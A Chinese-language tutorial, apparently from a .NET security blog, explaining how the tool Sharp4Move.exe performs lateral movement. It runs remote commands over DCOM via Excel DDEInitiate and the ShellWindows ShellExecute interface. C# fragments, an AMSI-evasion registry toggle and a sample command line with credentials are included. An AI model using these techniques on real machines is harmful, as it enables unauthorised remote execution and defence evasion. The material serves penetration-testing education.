这篇文章将介绍如何利用 .NET 中的 ExcelDDE 技术,通过 DCOM 实现远程命令执行。ExcelDDE是一种用于在 Excel 和其他应用程序之间交换数据的协议,ShellBrowserWindow 是一个通过 ShellExecute 方法来执行命令的接口,通常用来启动外部程序或脚本。在某些安全测试和渗透测试场景中,这两种技术可以被用来执行远程命令,绕过安全措施并与远程计算机交互。
在渗透测试中,攻击者可以利用多种技术进行远程命令执行。其中,通过 DCOM 技术,可以远程创建和调用对象来执行命令,而 ExcelDDE 是 DCOM 技术的一种应用,允许通过 Excel 启动命令。
bool flag4 = Method.ToLower() == "exceldde";
if (flag4)
{
Console.WriteLine("[+] Executing DCOM ExcelDDE : {0}", host);
Type typeFromProgID2 = Type.GetTypeFromProgID("Excel.Application", host);
object obj11 = Activator.CreateInstance(typeFromProgID2);
obj11.GetType().InvokeMember("DisplayAlerts", BindingFlags.SetProperty, null, obj11, new object[] { false });
obj11.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, obj11, new object[] { text3, text2 });
}
Type typeFromProgID2 = Type.GetTypeFromProgID("Excel.Application", host);
object obj11 = Activator.CreateInstance(typeFromProgID2);
obj11.GetType().InvokeMember("DDEInitiate", BindingFlags.InvokeMethod, null, obj11, new object[] { text3, text2 });
ShellBrowserWindow 和 DCOM 是执行远程操作的关键工具。通过 ShellExecute 方法,我们能够在远程计算机上执行命令。以下是代码的详细分析,展示了如何利用 DCOM 调用和 ShellBrowserWindow 来执行远程命令。
bool flag23 = dictionary["action"].ToLower() == "dcom";
if (flag23)
{
bool flag24 = dictionary.ContainsKey("computername") && dictionary.ContainsKey("command");
if (flag24)
{
string[] array7 = dictionary["computername"].Split(new char[] { ',' });
foreach (string host4 in array7)
{
string method = "ShellBrowserWindow";
bool flag25 = dictionary.ContainsKey("method");
if (flag25)
{
method = dictionary["method"];
}
bool flag26 = dictionary.ContainsKey("eventname");
if (flag26)
{
string text6 = dictionary["eventname"];
}
bool flag27 = dictionary.ContainsKey("amsi") && dictionary["amsi"] == "true";
if (flag27)
{
ManagementScope managementScope3 = Program.WMIConnect(host4, username, password);
List<ManagementBaseObject> outParams3 = Program.SetRegKey(managementScope3);
Thread.Sleep(2000);
Program.RemoteDCOM(host4, dictionary["command"], method);
Thread.Sleep(2000);
Program.UnsetRegKey(managementScope3, outParams3);
}
else
{
Program.RemoteDCOM(host4, dictionary["command"], method);
}
}
}
}
首先,代码检查是否为 dcom 操作,如果有多个目标主机,程序将使用 Split 方法将其分割,并对每个主机执行相同的操作。随后,代码再次检查执行方法是否为 ShellWindows。如果是,将执行 ShellExecute 方法来启动命令。
bool flag = Method.ToLower() == "shellwindows";
if (flag)
{
Console.WriteLine("[+] Executing DCOM ShellWindows : {0}", host);
string g = "9BA05972-F6A8-11CF-A442-00A0C90A8F39";
Type typeFromCLSID = Type.GetTypeFromCLSID(new Guid(g), host);
object obj = Program.NewMethod(typeFromCLSID);
object obj2 = obj.GetType().InvokeMember("Item", BindingFlags.InvokeMethod, null, obj, new object[0]);
object obj3 = obj2.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, obj2, null);
object obj4 = obj3.GetType().InvokeMember("Application", BindingFlags.GetProperty, null, obj3, null);
obj4.GetType().InvokeMember("ShellExecute", BindingFlags.InvokeMethod, null, obj4, new object[] { text3, text2, text, null, 0 });
}
上述代码中9BA05972-F6A8-11CF-A442-00A0C90A8F39 是 CLSID,代码通过 Type.GetTypeFromCLSID 方法动态获取该类型。最后,通过反射调用 ShellExecute 方法来执行命令。参数包括要执行的命令以及其他配置。
Sharp4Move.exe 便是这样一款基于 .NET 实现的,结合了 DCOM 和其他攻击技术,支持从一台已入侵的主机向网络中其他计算机远程执行命令。通过该工具,渗透测试人员可以模拟攻击者在网络内的横向移动。
Sharp4Move.exe action=create computername=PC-20201112PLZR command="C:\windows\system32\winver.exe" amsi=true username=ivan1ee password=123456
从漏洞分析到安全攻防,我们涵盖了 .NET 安全各个关键方面,为您呈现最新、最全面的 .NET 安全知识,下面是公众号发布的精华文章集合,推荐大伙阅读!